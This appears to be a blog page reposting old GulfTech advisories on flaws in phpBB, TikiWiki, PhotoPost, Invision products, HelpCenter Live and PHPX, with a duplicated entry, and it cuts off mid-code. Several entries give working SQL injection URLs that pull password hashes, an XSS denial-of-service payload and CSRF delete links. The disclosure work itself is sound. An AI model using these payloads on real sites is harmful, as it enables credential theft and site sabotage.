phpBB Multiple Vulnerabilities
Vendor: phpBB Group
Product: phpBB
Version: <= 2.0.7a
Website: http://www.phpbb.com
BID: 9942
Description:
phpBB is a high powered, fully scalable, and highly customisable open-source bulletin board package. phpBB has a user-friendly interface, simple and straightforward administration panel, and helpful FAQ. Based on the powerful PHP server language and your choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free community solution for all web sites.
Problem:
Just a few days ago I was visiting Security Focus and I saw the following issue.
https://www.securityfocus.com/bid/9896
I was at first thinking "Well, if you can't trust your admins that is as big of a security risk as any SQL Injection" After talking to a few people about this I realized that a number of phpBB installations are run on shared hosting setups, and because of that this issue could be a legitimate risk. For example
admin_words.php?mode=edit&id=99 UNION SELECT 0,username,user_password FROM othersite_phpbb_users WHERE user_id=2
I decided to look into this a little more and noticed similar issues in two other files as well. The files I found to also be vulnerable were "admin_smilies.php" and "admin_styles.php" which can also be used to query arbitrary information.
admin_smilies.php?mode=edit&id=99 UNION SELECT 0,username,0,user_password FROM othersite_phpbb_users WHERE user_id=2
I also played around with ideas on how a malicious user could use this for any kind of mischief. Remember that these SQL issues can also be used to probably drop tables and the like on non phpBB installations depending on DB privledges. Below are the findings of my weekend off from work. :P
SQL Injection Vulnerability:
Altering queries is possible via two different files in phpBB 2.0.7a and earlier. The affected files are "admin_smilies.php" and "admin_styles.php" Below is what you will see if you take a look at the "admin_smilies.php" file.
$sql = "SELECT *
FROM " . SMILIES_TABLE . "
WHERE smilies_id = " . $smiley_id;
$result = $db->sql_query($sql);
Both of these files could also be used to conduct cross site scripting attacks if a logged in admin views a malicious link sent by an attacker. Below are examples.
admin_smilies.php?mode=edit&id=[SQL]
admin_smilies.php?mode=delete&id=[SQL]
admin_smilies.php?mode=edit&id=[XSS]
admin_smilies.php?mode=delete&id=[XSS]
admin_styles.php?mode=edit&style_id=[SQL]
admin_styles.php?mode=delete&style_id=[SQL]
admin_styles.php?mode=edit&style_id=[XSS]
admin_styles.php?mode=delete&style_id=[XSS]
Maybe an attacker could send a logged in admin a link that causes certain contents of the database to be dumped into a text file in the httpd directory for retrieval, or maybe an attacker can send a logged in admin a link with some script embedded and attempt to steal information from a cookie? All of those may be likely, but what I am going to talk about next makes it a whole lot easier for an attacker.
Command Execution Vulnerability:
While looking around I noticed it was very easy to have commands that were called via the GET method executed. This could also be very useful for an attacker if he or she were to combine the above issues with the one I am talking about right now. To make things a little clearer go into your phpBB admin panel and lets create a harmless test to see how this works. We will use the word censor feature for this example since it is harmless enough, but you could just as easily use one of the vulnerabilities found by me and explained earlier in this paper. Go to the page in your phpBB admin panel titled "Word Censors" aka "admin_words.php" Now make a word censor, can be anything. After it is done get the link to delete the word censor you just made. For example see below what the link looks like.
admin_words.php?mode=delete&id=1&sid=b48906073d7a8da0ecad3e35b1f4021b
The sid variable doesn't have to be there, and if it does then that particular file is probably not vuln. Now we go into our user level account and make a post with an image that has a link to the vuln command. Now when an admin views this bogus image the command is executed. For example take the following post contents.
[img]http://host/login.php?logout=true[/img]
A post with this in it will log out whoever views it. Imagine how annoying it would be for a user to have something like that in their signature. It would log out everyone who viewed their post(s). This can be used with other files as well, not just the "admin_styles.php", "admin_smilies.php", and "admin_words.php" My weekend is almost over though :-\ So I do not have much more time to play around with this. But remember, this works on users too, not just admins and mods. The only limits I have found really is it only works on actions that get the values of it's variables from the GET method and not the $HTTP_POST_VARS[] method, and do not check for valid session id's this includes deleting posts, themes, smileys, word censors and more. This kind of activity could also be used in signatures, pm's and the like too. Some files such as modcp.php seem to handle sessions properly though, so they are not vulnerable. This is the code that checks for valid session ID's If it is not present it is possibly a vulnerable file.
// session id check
if ($sid == '' || $sid != $userdata['session_id'])
{
message_die(GENERAL_ERROR, 'Invalid_session');
}
A quick grep of the phpBB2 directory will turn up lots of results. You can do that to see which files are potentially vulnerable to this issue.
Solution:
I have corresponded wih the developers about these issues, and you can read that correspondance at the following url.
http://www.gulftech.org/vuln/phpBBEmail.txt
I think the session checks are definately a potential danger, but I have fixed the vulnerable admin files, and they can be downloaded at the link below. If you find any problems with the fixes please let me know. Also, I have added fixes for the logout, and post deletion problems.
phpBB Admin, Logout, And Post Deletion Fixes
I will post any updated correspondance in the previously mentioned file, so if you would like to keep up on any progress made check there.
Update:
Due to the lack of concern for these issues by the phpBB team and many users we have released the folling proof of concept examples.
phpBB Arbitrary Command Execution Proof Of Concept
It is also worth mentioning that the phpBB 2.0.8 upgrade does not stop the script phpBBpostMassacre from working.
Credits:
James Bercegay of the GulfTech Security Research Team.
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863558026
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
TikiWiki Multiple Vulnerabilities
Vendor: TikiWiki Project
Product: TikiWiki
Version: <= 1.8.1
Website: http://www.tikiwiki.org/
BID: 10100
CVE: CVE-2004-1923 CVE-2004-1924 CVE-2004-1925 CVE-2004-1926 CVE-2004-1927 CVE-2004-1928
OSVDB: 5181 5182 5183 5184 5185 5186 5187 5188 5189 5190 5191 5192 5193 5194 5195 5196 5197 5198 5199 5200 5201 5202 5203 5204 5205 520
SECUNIA: 11344
PACKETSTORM: 33062
Description:
Tiki CMS/Groupware (aka TikiWiki) is a powerful open-source Content Management System (CMS) and Groupware that can be used to create all sorts of Web applications, Sites, Portals, Intranets and Extranets. TikiWiki also works great as a Web-based collaboration tool. TikiWiki is a multi-purpose package with a lot of native options and sections that you can enable/disable as you need them. It is designed to be international, clean and extensible. TikiWiki incorporates all the features present in several excellent wiki systems available today plus a lot of new features and options, allowing your wiki application to be whatever you want it to be--from a simple wiki to a complex site for a whole user community with many intermediate steps. You can use TikiWiki as a forums site, a chatroom, for poll taking, and much more!
Path Disclosure Vulnerabilities:
There are several ways to discover the full physical path of the web directory on a server running TikiWiki. One way is by calling some files directly with a null or non-existent value as seen below.
banner_click.php
categorize.php
tiki-admin_include_directory.php
tiki-directory_search.php
Some files specifically prevent this by checking to see if they are called directly. I am not sure why more of the TikiWiki files do not use the same preventive measure. Also, just about anywhere that there is potential for SQL tampering (read about that later) you can leave the value null, and generate an error that will disclose the full physical path of the web server. Below are a handful of examples, but surely it is not all of them. The rest of this write up will use the following key when displaying example URL's
[INT] = Pretty much any integer will do
[VID] = Requires some sort of valid ID
[VPG] = The name of a valid page/user page
[JNK] = Just some random garbage
[SQL] = An evil SQL query ;)
[XSS] = Some code to cause XSS to happen
tiki-searchindex.php?highlight=[JNK]
messu-read.php?offset=[INT]&flag=&priority=&flagval=&sort_mode=
messu-read.php?offset=[INT]&flag=&priority=&flagval=
messu-read.php?offset=[INT]&flag=&priority=
messu-read.php?offset=[INT]&flag=
messu-read.php?offset=
tiki-list_file_gallery.php?find=&galleryId=1&offset=[INT]&sort_mode=
tiki-usermenu.php?find=&offset=
tiki-usermenu.php?find=&offset=[INT]&sort_mode=
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=[INT]&sort_mode=
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=
tiki-index.php?page=[VPG]&comments_threshold=[INT]&comments_offset=[INT]&comments_maxComments=
tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[INT]&sort_mode=priority_desc&find=[JNK]
tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[INT]&sort_mode=
tiki-directory_ranking.php?sort_mode=
tiki-file_galleries.php?find=&search=find&sort_mode=
tiki-list_faqs.php?find=&offset=[INT]&sort_mode=
tiki-list_faqs.php?find=&offset=
tiki-list_trackers.php?find=&offset=[INT]&sort_mode=
tiki-list_trackers.php?find=&offset=
Cross Site Scripting:
There also happens to be a great number of places XSS (cross site scripting) can take place on a TikiWiki powered site. Below are a number of examples, but it is far from all of them. TikiWiki is a VERY large collection of files and it would be a waste of time to go through and find/list every one of them :)
tiki-switch_theme.php?theme=[XSS]
messu-mailbox.php?flags=&priority=&find=[XSS]
messu-mailbox.php?flags=&priority=[XSS]
messu-read.php?offset=[INT]&flag=&priority=&flagval=&sort_mode=date_desc&find=[XSS]
messu-read.php?offset=[INT]&flag=&priority=&flagval=&sort_mode=[XSS]
messu-read.php?offset=[INT]&flag=&priority=&flagval=[XSS]
messu-read.php?offset=[INT]&flag=&priority=[XSS]
messu-read.php?offset=[INT]&flag=[XSS]
messu-read.php?offset=[XSS]
tiki-read_article.php?articleId=[VID][XSS]
tiki-browse_categories.php?find=&deep=off&parentId=[VID][XSS]
tiki-index.php?page=[VPG]&comments_threshold=[INT][XSS]
tiki-print_article.php?articleId=[VID][XSS]
tiki-list_file_gallery.php?galleryId=[VID][XSS]
tiki-upload_file.php?galleryId=[VID][XSS]
tiki-view_faq.php?faqId=[VID][XSS]
tiki-view_chart.php?chartId=[VID][XSS]
tiki-survey_stats_survey.php?surveyId=[VID][XSS]
SQL Injection Vulnerabilities:
Data seems to be passed into a query with little or no validation just about anywhere you encounter the *sort_mode or offset variable. It should be noted though that the offset variable takes place after the LIMIT statement, so the risk isn't very high as compared to data being passed earlier in the query. It still should be addressed though. Below are some examples. Once again keep in mind that this is not ALL instances of the *sort_mode or offset problems.
tiki-usermenu.php?find=&offset=[INT]&sort_mode=[SQL]
tiki-list_file_gallery.php?find=&galleryId=[VID]&offset=[INT]&sort_mode=[SQL]
tiki-directory_ranking.php?sort_mode=[SQL]
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=[INT]&sort_mode=[SQL]
tiki-index.php?page=[VPG]&comments_threshold=[INT]&comments_offset=[INT]&comments_sort_mode=[SQL]
tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[INT]&sort_mode=[SQL]
tiki-directory_ranking.php?sort_mode=[SQL]
tiki-directory_search.php?how=or&words=&where=all&sort_mode=[SQL]
tiki-file_galleries.php?find=&search=find&sort_mode=[SQL]
tiki-list_faqs.php?find=&offset=[INT]&sort_mode=[SQL]
tiki-list_trackers.php?find=&offset=[INT]&sort_mode=[SQL]
tiki-list_blogs.php?find=&offset=[INT]&sort_mode=[SQL]
tiki-usermenu.php?find=&offset=[SQL]
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=[SQL]
tiki-index.php?page=[VPG]&comments_threshold=[INT]&comments_offset=[SQL]
tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[SQL]
tiki-list_faqs.php?find=&offset=[SQL]
tiki-list_trackers.php?find=&offset=[SQL]
tiki-list_blogs.php?find=&offset=[SQL]
Code Injection:
It is possible for a malicious user to inject code into several places on a TikiWiki powered site including, but not limited to the link directory and the user profile. Below are examples of my findings, but I am pretty sure they also exist elsewhere
User Profile > Theme
User Profile > Country Field
User Profile > Real Name
User Profile > Displayed time zone
Directory > Add Site > Name
Directory > Add Site > Description
Directory > Add Site > URL
Directory > Add Site > Country
Remote File/Dir Enumeration Via Traversal:
This issue deals with the map feature TikiWiki uses. If you are using a version prior to 1.8 or if you have not enabled the map feature this probably does not affect you. The map feature calls a .map file to display whatever map a user would like to view, but the problem with this is that it allows you to traverse out of the web directory and call files elsewhere on the box. While this does not allow you to say pull up a file for viewing or download, it will allow you to confirm the existence of both files and directories on the affected box. Below is an example.
/tiki-map.phtml?mapfile=../../../../var/
I have also coded a small quick and dirty utility to automate the process of enumerating the existence of files on a machine running TikiWiki 1.8 with the map feature enabled. The utility can be found at the following location.
TikiWiki POC File Existance Enumeration Utility
Arbitrary File Upload:
It is possible to upload arbitrary files to a TikiWiki installation by including it in the image upload feature when creating your TikiWiki user page. The file then will be located here.
http://host/img/wiki_up/filenamehere
It should be pretty obvious that this will let an attacker upload arbitrary scripts and run commands with the rights of the webserver. This could be very dangerous.
Solution:
The TikiWiki Devel team have addressed these issues, and updates are available at their official website. I was VERY impressed with the way these guys handled the situation. Due to the size of the project, and the way some of these issues spanned across seemingly hundreds of files there was a great amount of work to be done. In some cases a dev team would have just addressed the critical issues and left the small issues like path disclosure for the next official release. These guys though took EVERY issue very seriously and assembled a security response team, and very organized response method for these issues and future issues. I do not think any researcher could ask for a better response from a vendor. They were friendly, professional, prompt, and serious. Hats off to them, and TikiWiki users should know they are in good hands, as these guys are a young project and already take security issues more seriously than alot of the big name open source projects out there :)
Credits:
James Bercegay of the GulfTech Security Research Team.
PhotoPost Multiple Vulnerabilities
Vendor: All Enthusiast, Inc
Product: PhotoPost
Version: <= 4.6
Website: http://www.photopost.com/
BID: 9994
CVE: CVE-2004-1870 CVE-2004-1871
OSVDB: 10261 10262 10263 10264 10265 10266 10267 4771
SECUNIA: 11241
Description:
PhotoPost was designed to help you give your users exactly what they want. Your users will be thrilled to finally be able to upload and display their photos for your entire community to view and discuss, all with no more effort than it takes to post a text message to a forum. If you already have a forum (vBulletin, UBB Threads, phpBB, DCForum, or InvisionBoard), you'll appreciate that PhotoPost was designed to seamlessly integrate into your site without the need for your users to register twice and maintain two logins.
SQL Injection Vulnerabilities:
There are a large number of possibilities for SQL Injection in Photo Post. The most important thing to remember here is that this app ties directly into the affected website's forum system. So the aim of any smart attacker would be to try and use the vulnerabilities in this app to gain control of a forum by grabbing member password hashes. Below are example url's.
addfav.php?photo=[SQL]
comments.php?photo=[SQL]
comments.php?photo=1&cedit=[SQL]
index.php?cat=[SQL]
showgallery.php?ppuser=[SQL]
showgallery.php?cat=[SQL]
uploadphoto.php?cat=[SQL]
useralbums.php?ppaction=delalbum&albumid=[SQL]
useralbums.php?ppaction=editalbum&albumid=[SQL]
I have not released any POC exploit for these issues, because like I said before the real danger in these holes is the fact they can be used to act against an installed forum system or other info in the database, and this varies GREATLY on each Photo Post installation depending on what forum is installed, and the table prefix's etc etc. A google search returned over a half of a million websites running Photo Post, so you can imagine the number of possibilities of the environment varying.
Script Injection:
A malicious user can inject script and html into several fields in Photo Post. The dangers of this is it allows an attacker to run arbitrary code in the context of the browser on any user that visits their album. Also, it can be used to run admin commands and the like by injecting script or html into a photo description that is awaiting approval by an admin. When the admin views the photo to be approved the code is then executed. Some examples of where this can take place is in photo names, photo descriptions, album names, and album descriptions.
Cross Site Scripting:
There are a number of Cross Site Scripting issues present in Photo Post. And as previously mentioned the danger of it being used against the forum which it resides are also a very real threat. Below are a list of the XSS issues in showmembers.php, but it is also worth noting that any of the SQL Injection vulns previously mentioned can also be used for XSS if Injection cannot be successfully used.
showmembers.php?cat=1&si=&page=7&sort=7&perpage=12&ppuser=10[XSS]
showmembers.php?cat=1&si=&page=7&sort=7&perpage=12&password=[XSS]
showmembers.php?cat=1&si=&page=7&sort=7&perpage=12&stype=1[XSS]
showmembers.php?cat=1&si=&page=7&sort=7&perpage=1[XSS]
showmembers.php?cat=1&si=&page=7&sort=1[XSS]
showmembers.php?cat=1&si=&page=1[XSS]
showmembers.php?cat=1&si=1[XSS]
showmembers.php?cat=1[XSS]
Any of these XSS issues can be used to possibly steal cookies from the forum which Photo Post resides, run code in a users browser and more.
Denial of Service:
PhotoPost is prone to a denial of service attack that can allow an attacker to send a user (logged in or not) a malicious link that will result in the user not being able to gain access to the PhotoPost installation until they clear their cookies.
showmembers.php?perpage="><script>var%20i=1;%20while(i){alert(i);};</script>
This is possible because the "perpage" variable resides in the users cookie. Like I said before a user does not have to be logged in for this to happen.
Solution:
The vendor was contacted. Most of these issues do not seem to be present in 4.7 though. Users are encouraged to upgrade ASAP.
Credits:
James Bercegay of the GulfTech Security Research Team.
Invision Power Top Site List SQL Injection
Vendor: Invision Power Services
Product: Invision Power Top Site List
Version: <= 1.1 RC 2
Website: http://www.invisiontsl.com/
BID: 9945
Description:
Invision Power Top Site List is a flexible site ranking script written in PHP, the popular programming choice for web developers. Featuring an impressive feature set with a user-friendly interface your community will feel at home using the system.
SQL Injection Vulnerability:
Invision Power Top Site List is prone to an SQL Injection vuln in its "comment" feature. This issue is very much exploitable as the injection happens right in the middle of a WHERE statement. Lets have a look at an example error message to get a better idea of what is going on.
Error: Error executing query
The software returned the following error:
You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax
to use near '[ Evil_Query ]' at line 1
Query Executed: SELECT * FROM tsl_sites WHERE id = [Evil_Query]
As we can see from this it would be of little difficulty for any attacker to execute arbitrary requests. For example pulling the admin hash and/or possibly taking admin control over an affected Invision Power Top Site List. Below is an example url to show how the issue could be exploited.
index.php?act=comments&id=[Evil_Query]
Solution:
The Invision Power Services team were contacted immediately and hopefully a fix will be available soon since this is an application that cost users money to use.
Credits:
James Bercegay of the GulfTech Security Research Team. Invision Gallery SQL Injection Vulnerabilities
Vendor: Invision Power Services
Product: Invision Gallery
Version: <= 1.0.1
Website: http://www.invisiongallery.com
BID: 9944
CVE: CVE-2004-1835
OSVDB: 4472
SECUNIA: 11194
PACKETSTORM: 32920
Description:
Invision Gallery is a fully featured, powerful gallery system that is easy and fun to use! It plugs right into your existing Invision Power Board to create a seamless browsing experience for the users of your forum. We've taken many of the most popular feature requests from our customers and integrated them into this product.
SQL Injection Vulnerability:
Invision Gallery seems to come up very short concerning validation of user supplied input. It is vulnerable to a number of SQL Injection vulnerabilities. Also, because Invision Gallery is integrated into Invision power Board it is VERY much possible for an attacker to use the vulnerabilities in Invision Gallery to affect the Invision Power Board which it resides on. Most of the non validated input that allow for the injections take place right in the middle of a WHERE statement making them that much easier to exploit. Lets look at an example error.
mySQL query error: SELECT * FROM ibf_gallery_categories WHERE
id=[Evil_Query]
mySQL error: You have an error in your SQL syntax. Check the manual
that corresponds to your MySQL server version for the right syntax to
use near '[Evil_Query]' at line 1
mySQL error code:
Date: Sunday 21st of March 2004 11:28:18 AM
As we can see from this it would be of little difficulty for any attacker to execute arbitrary requests. For example pulling the admin hash and/or possibly taking admin control over an affected Invision Gallery or Invision Power Board installation. Here are some example urls that could be exploited by an attacker.
index.php?act=module&module=gallery&cmd=si&img=[SQL]
index.php?act=module&module=gallery&cmd=editimg&img=[SQL]
index.php?act=module&module=gallery&cmd=ecard&img=[SQL]
index.php?act=module&module=gallery&cmd=moveimg&img=[SQL]
index.php?act=module&module=gallery&cmd=delimg&img=[SQL]
index.php?act=module&module=gallery&cmd=post&cat=[SQL]
index.php?act=module&module=gallery&cmd=sc&op=user&sort_key=[SQL]
index.php?act=module&module=gallery&cmd=sc&op=user&sort_key=date&order_key=[SQL]
index.php?act=module&module=gallery&cmd=favs&op=add&img=[SQL]
index.php?act=module&module=gallery&cmd=slideshow&cat=[SQL]
index.php?act=module&module=gallery&cmd=user&user=[SQL]&op=view_album&album=1
index.php?act=module&module=gallery&cmd=user&user=[SQL]
index.php?act=module&module=gallery&cmd=user&user=1&op=view_album&album=[SQL]
Some of these are easier to exploit than others obviously, but the large number of SQL Injection possibilities definitely makes it that much easier for an attacker to get results from these issues.
Solution:
The Invision Power Services team were contacted immediately and hopefully a fix will be available soon since this is an application that cost users money to use.
Credits:
James Bercegay of the GulfTech Security Research Team.
Invision Power Top Site List SQL Injection
Vendor: Invision Power Services
Product: Invision Power Top Site List
Version: <= 1.1 RC 2
Website: http://www.invisiontsl.com/
BID: 9945
Description:
Invision Power Top Site List is a flexible site ranking script written in PHP, the popular programming choice for web developers. Featuring an impressive feature set with a user-friendly interface your community will feel at home using the system.
SQL Injection Vulnerability:
Invision Power Top Site List is prone to an SQL Injection vuln in its "comment" feature. This issue is very much exploitable as the injection happens right in the middle of a WHERE statement. Lets have a look at an example error message to get a better idea of what is going on.
Error: Error executing query
The software returned the following error:
You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax
to use near '[ Evil_Query ]' at line 1
Query Executed: SELECT * FROM tsl_sites WHERE id = [Evil_Query]
As we can see from this it would be of little difficulty for any attacker to execute arbitrary requests. For example pulling the admin hash and/or possibly taking admin control over an affected Invision Power Top Site List. Below is an example url to show how the issue could be exploited.
index.php?act=comments&id=[Evil_Query]
Solution:
The Invision Power Services team were contacted immediately and hopefully a fix will be available soon since this is an application that cost users money to use.
Credits:
James Bercegay of the GulfTech Security Research Team.
HelpCenter Live! Multiple Vulnerabilities
Vendor: Michael Bird
Product: HelpCenter Live!
Version: <= 1.2.7
Website: http://www.helpcenterlive.com/
BID: 13666 13667
CVE: CVE-2005-1672 CVE-2005-1673 CVE-2005-1674
OSVDB: 16651 16652 16653 16654 16655 16656 16657 16658
SECUNIA: 15401
PACKETSTORM: 39275
Description:
Help Center Live is a `Live` help desk system written in PHP using a MySql database backend that features Live Support, Trouble Tickets and FAQ within one project. This is a very popular application, especially with webhosts and other services. Unfortunately Help Center Live is vulnerable to Sql injection, Script Injection, and Cross Site Scripting attacks, but the most serious of the vulnerabilities mentioned (The SQL Injection attacks) require magic_quotes_gpc to be set to off.
Cross Site Scripting:
Cross site scripting exists in Help Center Live. This vulnerability exists due to user supplied input not being checked properly. Below is an example.
http://path/faq/index.php?find=blah[CODEGOESHERE]&search=Search
This vulnerability could be used to steal cookie based authentication credentials within the scope of the current domain, or render hostile code in a victim's browser. This is the same vulnerability I had reported in my previous Help Center Live advisory, but it seems that the issue was never resolved properly.
Script Injection Vulnerability:
There are several script injection vulnerabilities in Help Center Live that allows an attacker to force a logged in operator to run malicious code in their browser. This can be accomplished by an attacker by entering malicious code into the name or message fields when requesting a chat, or by entering malicious script into the body of a message when opening a trouble ticket. Also, an attacker can use this to retrieve the md5 password of the operator (the md5 password is stored in the cookie), or can use this issue combined with the soon to be mentioned CSRF issue and force an admin to unknowingly or knowingly execute arbitrary commands.
Cross Site Request Forgeries:
Help Center Live uses the GET method for some admin actions, and the only check is if the admin is logged in. This makes it easy for an attacker to trick a logged in admin to perform arbitrary requests.
http://www.example.com/support/cp/tt/view.php?attach=y&tid=2
http://www.example.com/support/cp/tt/view.php?tid=2&delete=1
The above url's will (a) cause an operator to allow attachments for a trouble ticket that is opened with the id of two (b) cause an operator to delete an attachment. There may be more instances of CSRF in Help Center Live, but I will leave that for someone else to mess with :) For more information on CSRF visit the following url: http://www.tux.org/~peterw/csrf.txt
SQL Injection:
There are a number of SQL Injection vulnerabilities in Help Center Live, as little/no sanitation is made on incoming variables passed to the SQL Query. In my opinion the only reason these issues have not been found already is because (a) everything is encapsulated in single quotes, so if magic quotes gpc is on then we cannot exploit the issues (b) Every single SQL Injection issue I am about to talk about is a somewhat blind SQL Injection issue. First we have a couple "run of the mill" SQL Injection issues in tt/view.php and faq/index.php respectively. I will not spend a lot of time on the technical details of these issues because they are nothing we have not seen a million times. Here is some vulnerable code snip though to give an understanding.
$TICKET_tid = $_GET["tid"];
$result = DATABASE_query("SELECT * FROM ".$DB_prefix."tickets WHERE
id='$TICKET_tid' AND username='$TICKETS_username'");
if ($get = DATABASE_fetch($result)) {
As we can see from the above code $TICKET_tid is never sanitized and taken directly from the user supplied $_GET. We cannot exploit this issue, or any other issue in this advisory because the data is encapsulated in single quotes, and magic_quotes_gpc will not allow us to break the query. Below are example requests that will allow for us to grab an operators username and password hash by exploiting the above code, and also very similar code in /faq/index.php
http://www.example.com/support/faq/index.php?x=f&id=-99'%20UNION%20SELECT%200,
0,operator,password%20FROM%20hcl_operators%20WHERE%201/*
http://www.example.com/support/tt/view.php?tid=-99'%20UNION%20SELECT%200,0,0,
operator,password,0,0,0,0,0%20FROM%20hcl_operators%20WHERE%201/*
There are also a few more SQL Injection vulnerabilities in Help Center Live that are a bit more interesting, and these issues lie in lh/chat_download.php, lh/icon.php, and tt/download.php. I find these particular examples a bit more interesting because they are download scripts, and successful exploitation leads to things like the downloaded file having the desired password hash, the content type in the headers displaying the hash, or having a base64_decoded version of the hash that may look something like this (‡ÃÞ÷á¯=Ùî7}ÿ7Ã?×uõÃÛkN¹) but can be base64 encoded into the md5 hash.
http://www.example.com/support/tt/download.php?fid=-99'%20UNION%20SELECT%200,0,0,
password,0,operator,0,0%20FROM%20hcl_operators%20WHERE%20id='1
http://www.example.com/support/lh/icon.php?status=-99' UNION SELECT password,
password FROM hcl_operators WHERE id=1/*
http://www.example.com/support/lh/chat_download.php?fid=-99' UNION SELECT password,
operator,password FROM hcl_operators WHERE id=1/*
Again, exploitation of these issues requires magic_quotes_gpc set to off on the server hosting the Help Center Live installation.
Solution:
According to the develepor a patch has been available for some time now.
Credits:
James Bercegay of the GulfTech Security Research Team
PHPX Multiple Vulnerabilities
Vendor: PHPX
Product: PHPX
Version: <= 3.26
Website: http://www.phpx.org
BID: 10283 10284
CVE: CVE-2004-2364
OSVDB: 5903 5904 5905 5906 5907 5908 5909 5910 5911
SECUNIA: 11554
PACKETSTORM: 33251
Description:
PHPX is a constantly evolving and changing Content Management System (CMS). PHPX is highly customizable and high powered all in one system. PHPX provides content management combined with the power of a portal by including in the core package modules such as FAQ, polls, and forums. PHPX uses dynamic-template-design, what this means is that you have the power to control what your site will look like. Themes are included, but not required. You can create the page however you want, and PHPX will just insert code where you want it. No more 3 columns if you don’t want it! Written in the powerful server language, PHP, and utilizing the amazingly fast and secure database MySQL, PHPX is a great solution for all size website communities, at the best price possible…free!
Cross Site Scripting Vulnerabilities:
PHPX uses a function in the includes/functions.inc.php file that strips out bad stuff from the uri called checkURI() This is not a bad idea when it comes to dealing with XSS issues, however it is poorly coded and does not properly sanitize the values retrieved from the uri. Lets have a look
function checkURI(){
$checkArray = array(">","<","(",")");
foreach($checkArray as $c){
if (substr_count($_SERVER["REQUEST_URI"], $c)){ die("HACK ATTEMPT"); }
}
}
As you can see from this function only a few items are to be stripped from the uri. This can easily be circumvented by hex encoding script and then by sending the requests to a vulnerable file. Below are just a few examples.
forums.php?forum_id=[VID]&limit=25%3Ciframe%3E
forums.php?forum_id=[VID]&topic_id=[VID]&limit=15%3Ciframe%3E
users.php?action=&limit=100%3Ciframe%3E
users.php?action=view&user_id=[VID]%3E%3Ciframe%3E
forums.php?action=post&forum_id=[VID]%3E%3Ciframe%3E
forums.php?action=search&search_id=[VID]&limit=25%3E%3Ciframe%3E
users.php?action=email&user_id=%3E%3Ciframe%3E
users.php?action=view&user_id=[VID]%3E%3Ciframe%3E
forums.php?forum_id=[VID]%3E%3Ciframe%3E
forums.php?forum_id=[VID]&topic_id=[VID]&limit=%3E%3Ciframe%3E
forums.php?action=post&forum_id=[VID]&topic_id=[VID]%3E%3Ciframe%3E
news.php?news_id=[VID]%3E%3Ciframe%3E
forums.php?forum_id=[VID]&topic_id=[VID]%3E%3Ciframe%3E
Where VID is should be a valid id of some sorts depending on the function that is called. I am sure there are more XSS issues than this, but the real point is to show PHPX's filtering function does not work, and not to find every single place where there is possibility for cross site scripting. The checkURI() function isn't a bad idea, but should definitely use something like the strip_tags() function or htmlspecialchars() to better validate.
Path Disclosure Vulnerabilities:
It is possible for an attacker to learn the full physical path of the PHPX installation. This can be accomplished by sending a null or invalid value to several instances of the $limit variable. For example see below
forums.php?action=search&search_id=[VID]&limit=
This uri will result in a MySQL_fetch_row() error and reveal the full physical path of the PHPX installation. This is because $limit isn't properly validated.
Arbitrary Command Execution:
This is really in my opinion at least, a very fundamental flaw. As stated in the HTTP/1.1 RFC (RFC 2616 Section 9.1.1 "Safe Methods") no GET request should be used to make any significant actions. This however would not be such a big deal if there was some sort of auth key or session id in place to verify the validity of actions, but there isn't. In short all an attacker has to do is send an admin a pm, or make a malicious post with the desired command and the action will silently execute.
/admin/page.php?action=delete&page_id=[VID]
/admin/news.php?action=delete&news_id=[VID]
/admin/user.php?action=delete&user_id=[VID]
/admin/images.php?action=delete&image_id=[VID]
/admin/page.php?action=deletePoll&poll_id=[VID]
/admin/forums.php?action=words&subaction=delete&word_id=[VID]
/admin/forums.php?action=flag&subaction=delete&flag_id=[VID]
/admin/forums.php?action=xcode&subaction=delete&xcode_id=[VID]
As we can see from the above examples, this issue can be used by a malicious person to all but completely sabotage a site running PHPX. If any one of these commands were placed in an image tag an attacker could delete users, news items, pages, images, polls, word censors, flags, xcode and probably more. In the past I have seen phpBB for example deal with the same issue of using unsafe GET requests by limiting the bbcode to only allow images with a valid extension. However this is a bad idea because it does not solve the problem at all, and to this day all phpBB versions are vulnerable to having arbitrary posts deleted and more just by visiting a malicious web page or link. It is a serious issue and should be treated as such. It greatly impacts the security of a web application. Even using the POST method without an auth key or the like is a bad idea.
Solution:
The lead developer was first informed of these issues over a month ago. All of the issues should be addressed. One of the new features to make phpX more secure is a auth_key schema to validate actions etc. All in all I think they did a great job and take the security of their product very seriously :) phpX 3.3.0 is to be released Monday, May the 3rd. Upgrade is strongly advised.
Credits:
James Bercegay of the GulfTech Security Research Team.
IP.Board Design Error
Vendor: Invision Power Services
Product: IP.Board
Version: <= 1.3.1
Website: http://www.invisionpower.com/
BID: 10559
Description:
Invision Power Board (IPB) is a professional forum system that has been built from the ground up with speed and security in mind, taking advantage of object oriented code, highly-optimized SQL queries, and the fast PHP engine. A comprehensive administration control panel is included to help you keep your board running smoothly. Moderators will also enjoy the full range of options available to them via built-in tools and moderators control panel. Members will appreciate the ability to subscribe to topics, send private messages, and perform a host of other options through the user control panel. It is used by millions of people over the world.
IP Spoofing Vulnerability:
There lies a vulnerability in all version of Invision Power Board that allow a user to spoof his/her IP address by creating a bogus X_FORWARDED_FOR HTTP Header entry. This condition can also be caused by a user unknowingly if they use a proxy to access the internet. For example, private LAN based IP's will be logged which are impossible to trace. Below we see a snip of the vulnerable code taken from the file sources/functions.php @ line 1440
//----------------------------------------
// Sort out the accessing IP
// (Thanks to Cosmos and schickb)
//----------------------------------------
$addrs = array();
foreach( array_reverse( explode( ',', $HTTP_X_FORWARDED_FOR ) ) as $x_f )
{
$x_f = trim($x_f);
if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $x_f ) )
{
$addrs[] = $x_f;
}
}
